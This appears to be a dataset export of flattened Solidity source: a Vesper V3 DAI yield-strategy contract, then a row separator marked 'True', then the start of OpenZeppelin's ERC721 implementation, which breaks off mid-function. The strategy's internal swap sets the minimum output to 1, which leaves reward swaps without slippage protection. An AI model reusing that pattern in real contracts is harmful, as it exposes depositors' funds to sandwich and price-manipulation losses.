function addValue(address a, uint256 v) external returns (bool);
function addMulti(address[] calldata addrs) external returns (uint256);
function addValueMulti(address[] calldata addrs, uint256[] calldata values) external returns (uint256);
function remove(address a) external returns (bool);
function removeMulti(address[] calldata addrs) external returns (uint256);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function at(uint256 index) external view returns (address, uint256);
function length() external view returns (uint256);
}
// File: sol-address-list/contracts/interfaces/IAddressListExt.sol
pragma solidity ^0.6.6;
interface IAddressListExt is IAddressList {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// File: sol-address-list/contracts/interfaces/IAddressListFactory.sol
pragma solidity ^0.6.6;
interface IAddressListFactory {
event ListCreated(address indexed _sender, address indexed _newList);
function ours(address a) external view returns (bool);
function listCount() external view returns (uint256);
function listAt(uint256 idx) external view returns (address);
function createList() external returns (address listaddr);
}
// File: contracts/strategies/Strategy.sol
pragma solidity 0.6.12;
abstract contract Strategy is IStrategy, Pausable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// solhint-disable-next-line
ISwapManager public swapManager = ISwapManager(0xe382d9f2394A359B01006faa8A1864b8a60d2710);
IController public immutable controller;
IERC20 public immutable collateralToken;
address public immutable receiptToken;
address public immutable override pool;
IAddressListExt public keepers;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 internal constant MAX_UINT_VALUE = type(uint256).max;
event UpdatedSwapManager(address indexed previousSwapManager, address indexed newSwapManager);
constructor(
address _controller,
address _pool,
address _receiptToken
) public {
require(_controller != address(0), "controller-address-is-zero");
require(IController(_controller).isPool(_pool), "not-a-valid-pool");
controller = IController(_controller);
pool = _pool;
collateralToken = IERC20(IVesperPool(_pool).token());
receiptToken = _receiptToken;
}
modifier onlyAuthorized() {
require(
_msgSender() == address(controller) || _msgSender() == pool,
"caller-is-not-authorized"
);
_;
}
modifier onlyController() {
require(_msgSender() == address(controller), "caller-is-not-the-controller");
_;
}
modifier onlyKeeper() {
require(keepers.contains(_msgSender()), "caller-is-not-keeper");
_;
}
modifier onlyPool() {
require(_msgSender() == pool, "caller-is-not-the-pool");
_;
}
function pause() external override onlyController {
_pause();
}
function unpause() external override onlyController {
_unpause();
}
/// @dev Approve all required tokens
function approveToken() external onlyController {
_approveToken(0);
_approveToken(MAX_UINT_VALUE);
}
/// @dev Reset approval of all required tokens
function resetApproval() external onlyController {
_approveToken(0);
}
/**
* @notice Create keeper list
* @dev Create keeper list
* NOTE: Any function with onlyKeeper modifier will not work until this function is called.
* NOTE: Due to gas constraint this function cannot be called in constructor.
*/
function createKeeperList() external onlyController {
require(address(keepers) == address(0), "keeper-list-already-created");
IAddressListFactory factory =
IAddressListFactory(0xD57b41649f822C51a73C44Ba0B3da4A880aF0029);
keepers = IAddressListExt(factory.createList());
keepers.grantRole(keccak256("LIST_ADMIN"), _msgSender());
}
/**
* @notice Update swap manager address
* @param _swapManager swap manager address
*/
function updateSwapManager(address _swapManager) external onlyController {
require(_swapManager != address(0), "sm-address-is-zero");
require(_swapManager != address(swapManager), "sm-is-same");
emit UpdatedSwapManager(address(swapManager), _swapManager);
swapManager = ISwapManager(_swapManager);
}
/**
* @dev Deposit collateral token into lending pool.
* @param _amount Amount of collateral token
*/
function deposit(uint256 _amount) public override onlyKeeper {
_updatePendingFee();
_deposit(_amount);
}
/**
* @notice Deposit all collateral token from pool to other lending pool.
* Anyone can call it except when paused.
*/
function depositAll() external virtual onlyKeeper {
deposit(collateralToken.balanceOf(pool));
}
/**
* @dev Withdraw collateral token from lending pool.
* @param _amount Amount of collateral token
*/
function withdraw(uint256 _amount) external override onlyAuthorized {
_updatePendingFee();
_withdraw(_amount);
}
/**
* @dev Withdraw all collateral. No rebalance earning.
* Controller only function, called when migrating strategy.
*/
function withdrawAll() external override onlyController {
_withdrawAll();
}
/**
* @dev sweep given token to vesper pool
* @param _fromToken token address to sweep
*/
function sweepErc20(address _fromToken) external onlyKeeper {
require(!isReservedToken(_fromToken), "not-allowed-to-sweep");
if (_fromToken == ETH) {
Address.sendValue(payable(pool), address(this).balance);
} else {
uint256 _amount = IERC20(_fromToken).balanceOf(address(this));
IERC20(_fromToken).safeTransfer(pool, _amount);
}
}
/// @dev Returns true if strategy can be upgraded.
function isUpgradable() external view virtual override returns (bool) {
return totalLocked() == 0;
}
/// @dev Returns address of token correspond to collateral token
function token() external view override returns (address) {
return receiptToken;
}
/// @dev Convert from 18 decimals to token defined decimals. Default no conversion.
function convertFrom18(uint256 amount) public pure virtual returns (uint256) {
return amount;
}
/// @dev report the interest earned since last rebalance
function interestEarned() external view virtual returns (uint256);
/// @dev Check whether given token is reserved or not. Reserved tokens are not allowed to sweep.
function isReservedToken(address _token) public view virtual override returns (bool);
/// @dev Returns total collateral locked here
function totalLocked() public view virtual override returns (uint256);
/// @dev For moving between versions of similar strategies
function migrateIn() external onlyController {
_migrateIn();
}
/// @dev For moving between versions of similar strategies
function migrateOut() external onlyController {
_migrateOut();
}
/**
* @notice Handle earned interest fee
* @dev Earned interest fee will go to the fee collector. We want fee to be in form of Vepseer
* pool tokens not in collateral tokens so we will deposit fee in Vesper pool and send vTokens
* to fee collactor.
* @param _fee Earned interest fee in collateral token.
*/
function _handleFee(uint256 _fee) internal virtual {
if (_fee != 0) {
IVesperPool(pool).deposit(_fee);
uint256 _feeInVTokens = IERC20(pool).balanceOf(address(this));
IERC20(pool).safeTransfer(controller.feeCollector(pool), _feeInVTokens);
}
}
/**
* @notice Safe swap via Uniswap
* @dev There are many scenarios when token swap via Uniswap can fail, so this
* method will wrap Uniswap call in a 'try catch' to make it fail safe.
* @param _from address of from token
* @param _to address of to token
* @param _amount Amount to be swapped
*/
function _safeSwap(
address _from,
address _to,
uint256 _amount
) internal {
(address[] memory _path, uint256 amountOut, uint256 rIdx) =
swapManager.bestOutputFixedInput(_from, _to, _amount);
if (amountOut != 0) {
swapManager.ROUTERS(rIdx).swapExactTokensForTokens(
_amount,
1,
_path,
address(this),
block.timestamp + 30
);
}
}
function _deposit(uint256 _amount) internal virtual;
function _withdraw(uint256 _amount) internal virtual;
function _approveToken(uint256 _amount) internal virtual;
function _updatePendingFee() internal virtual;
function _withdrawAll() internal virtual;
function _migrateIn() internal virtual;
function _migrateOut() internal virtual;
function _claimReward() internal virtual;
}
// File: contracts/interfaces/vesper/IVesperPoolV3.sol
pragma solidity 0.6.12;
interface IVesperPoolV3 is IERC20 {
function deposit() external payable;
function deposit(uint256 _share) external;
function governor() external returns (address);
function keepers() external returns (address);
function multiTransfer(address[] memory _recipients, uint256[] memory _amounts)
external
returns (bool);
function excessDebt(address _strategy) external view returns (uint256);
function permit(
address,
address,
uint256,
uint256,
uint8,
bytes32,
bytes32
) external;
function reportEarning(
uint256 _profit,
uint256 _loss,
uint256 _payback
) external;
function resetApproval() external;
function sweepERC20(address _fromToken) external;
function withdraw(uint256 _amount) external;
function withdrawETH(uint256 _amount) external;
function whitelistedWithdraw(uint256 _amount) external;
function feeCollector() external view returns (address);
function pricePerShare() external view returns (uint256);
function token() external view returns (address);
function tokensHere() external view returns (uint256);
function totalDebtOf(address _strategy) external view returns (uint256);
function totalValue() external view returns (uint256);
function withdrawFee() external view returns (uint256);
function poolRewards() external view returns (address);
}
// File: contracts/interfaces/vesper/IPoolRewardsV3.sol
pragma solidity 0.6.12;
interface IPoolRewardsV3 {
/// Emitted after reward added
event RewardAdded(uint256 reward);
/// Emitted whenever any user claim rewards
event RewardPaid(address indexed user, uint256 reward);
/// Emitted when reward is ended
event RewardEnded(address indexed dustReceiver, uint256 dust);
// Emitted when pool governor update reward end time
event UpdatedRewardEndTime(uint256 previousRewardEndTime, uint256 newRewardEndTime);
function claimReward(address) external;
function notifyRewardAmount(uint256 rewardAmount, uint256 endTime) external;
function updateRewardEndTime() external;
function updateReward(address) external;
function withdrawRemaining(address _toAddress) external;
function claimable(address) external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardForDuration() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardToken() external view returns (address);
}
// File: contracts/strategies/VesperV3Strategy.sol
pragma solidity 0.6.12;
/// @title This strategy will deposit collateral token in VesperV3 and earn interest.
abstract contract VesperV3Strategy is Strategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
IVesperPoolV3 internal immutable vToken;
constructor(
address _controller,
address _pool,
address _receiptToken
) public Strategy(_controller, _pool, _receiptToken) {
vToken = IVesperPoolV3(_receiptToken);
}
/**
* @notice Migrate tokens from pool to this address
* @dev Any working VesperV3 strategy has vTokens in strategy contract.
* @dev There can be scenarios when pool already has vTokens and new
* strategy will have to move those tokens from pool to self address.
* @dev Only valid pool strategy is allowed to move tokens from pool.
*/
function _migrateIn() internal override {
require(controller.isPool(pool), "not-a-valid-pool");
require(controller.strategy(pool) == address(this), "not-a-valid-strategy");
IERC20(vToken).safeTransferFrom(pool, address(this), vToken.balanceOf(pool));
}
/**
* @notice Migrate tokens out to pool.
* @dev There can be scenarios when we want to use new strategy without
* calling withdrawAll(). We can achieve this by moving tokens in pool
* and new strategy will take care from there.
* @dev Pause this strategy and move tokens out.
*/
function _migrateOut() internal override {
require(controller.isPool(pool), "not-a-valid-pool");
_pause();
IERC20(vToken).safeTransfer(pool, vToken.balanceOf(address(this)));
}
/// @notice Vesper pools are using this function so it should exist in all strategies.
//solhint-disable-next-line no-empty-blocks
function beforeWithdraw() external override onlyPool {}
/**
* @dev Calculate interest fee on earning from VesperV3 and transfer fee to fee collector.
* Deposit available collateral from pool into VesperV3.
* Anyone can call it except when paused.
*/
function rebalance() external override whenNotPaused onlyKeeper {
_claimReward();
uint256 balance = collateralToken.balanceOf(pool);
if (balance != 0) {
_deposit(balance);
}
}
/**
* @notice Returns interest earned since last rebalance.
* @dev Empty implementation because V3 Strategies should collect interest on rebalance
*/
//solhint-disable-next-line no-empty-blocks
function interestEarned() public view override returns (uint256 collateralEarned) {}
/// @notice Returns true if strategy can be upgraded.
/// @dev If there are no vTokens in strategy then it is upgradable
function isUpgradable() external view override returns (bool) {
return vToken.balanceOf(address(this)) == 0;
}
/// @notice This method is deprecated and will be removed from Strategies in next release
function isReservedToken(address _token) public view override returns (bool) {
address _poolRewards = vToken.poolRewards();
return
_token == address(vToken) ||
(_poolRewards != address(0) && _token == IPoolRewardsV3(_poolRewards).rewardToken());
}
function _approveToken(uint256 _amount) internal override {
collateralToken.safeApprove(pool, _amount);
collateralToken.safeApprove(address(vToken), _amount);
}
/**
* @dev Converts rewardToken from V3 Pool to collateralToken
* @notice V3 Pools will claim rewardToken onbehalf of caller on every withdraw/deposit
*/
function _claimReward() internal override {
// V3 Pool rewardToken can change over time so we don't store it in contract
address _poolRewards = vToken.poolRewards();
if (_poolRewards != address(0)) {
IERC20 _rewardToken = IERC20(IPoolRewardsV3(_poolRewards).rewardToken());
uint256 _rewardAmount = _rewardToken.balanceOf(address(this));
if (_rewardAmount != 0)
_safeSwap(address(_rewardToken), address(collateralToken), _rewardAmount);
}
}
/**
* @notice Total collateral locked in VesperV3.
* @return Return value will be in collateralToken defined decimal.
*/
function totalLocked() public view override returns (uint256) {
uint256 _totalVTokens = vToken.balanceOf(pool).add(vToken.balanceOf(address(this)));
return _convertToCollateral(_totalVTokens);
}
function _deposit(uint256 _amount) internal virtual override {
collateralToken.safeTransferFrom(pool, address(this), _amount);
vToken.deposit(_amount);
}
function _withdraw(uint256 _amount) internal override {
_safeWithdraw(_convertToShares(_amount));
collateralToken.safeTransfer(pool, collateralToken.balanceOf(address(this)));
}
/**
* @dev V3 Pools may withdraw a partial amount of requested shares
* Resulting in more burnt shares than actual collateral in V2
* We make sure burnt shares equals to our expected value
*/
function _safeWithdraw(uint256 _shares) internal {
uint256 _maxShares = vToken.balanceOf(address(this));
if (_shares != 0) {
vToken.withdraw(_shares);
require(
vToken.balanceOf(address(this)) == _maxShares.sub(_shares),
"Not enough shares withdrawn"
);
}
}
function _withdrawAll() internal override {
_safeWithdraw(vToken.balanceOf(address(this)));
_claimReward();
collateralToken.safeTransfer(pool, collateralToken.balanceOf(address(this)));
}
function _convertToCollateral(uint256 _vTokenAmount) internal view returns (uint256) {
uint256 _totalSupply = vToken.totalSupply();
// avoids division by zero error when pool is empty
return (_totalSupply != 0) ? vToken.totalValue().mul(_vTokenAmount).div(_totalSupply) : 0;
}
function _convertToShares(uint256 _collateralAmount) internal view returns (uint256) {
return _collateralAmount.mul(vToken.totalSupply()).div(vToken.totalValue());
}
/**
* @notice Returns interest earned since last rebalance.
* @dev Empty implementation because V3 Strategies should collect pending interest fee
*/
//solhint-disable-next-line no-empty-blocks
function _updatePendingFee() internal override {}
}
// File: contracts/strategies/VesperV3StrategyDAI.sol
pragma solidity 0.6.12;
//solhint-disable no-empty-blocks
contract VesperV3StrategyDAI is VesperV3Strategy {
string public constant NAME = "Strategy-VesperV3-DAI";
string public constant VERSION = "2.0.9";
constructor(
address _controller,
address _pool,
address _receiptToken
) public VesperV3Strategy(_controller, _pool, _receiptToken) {}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-02
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
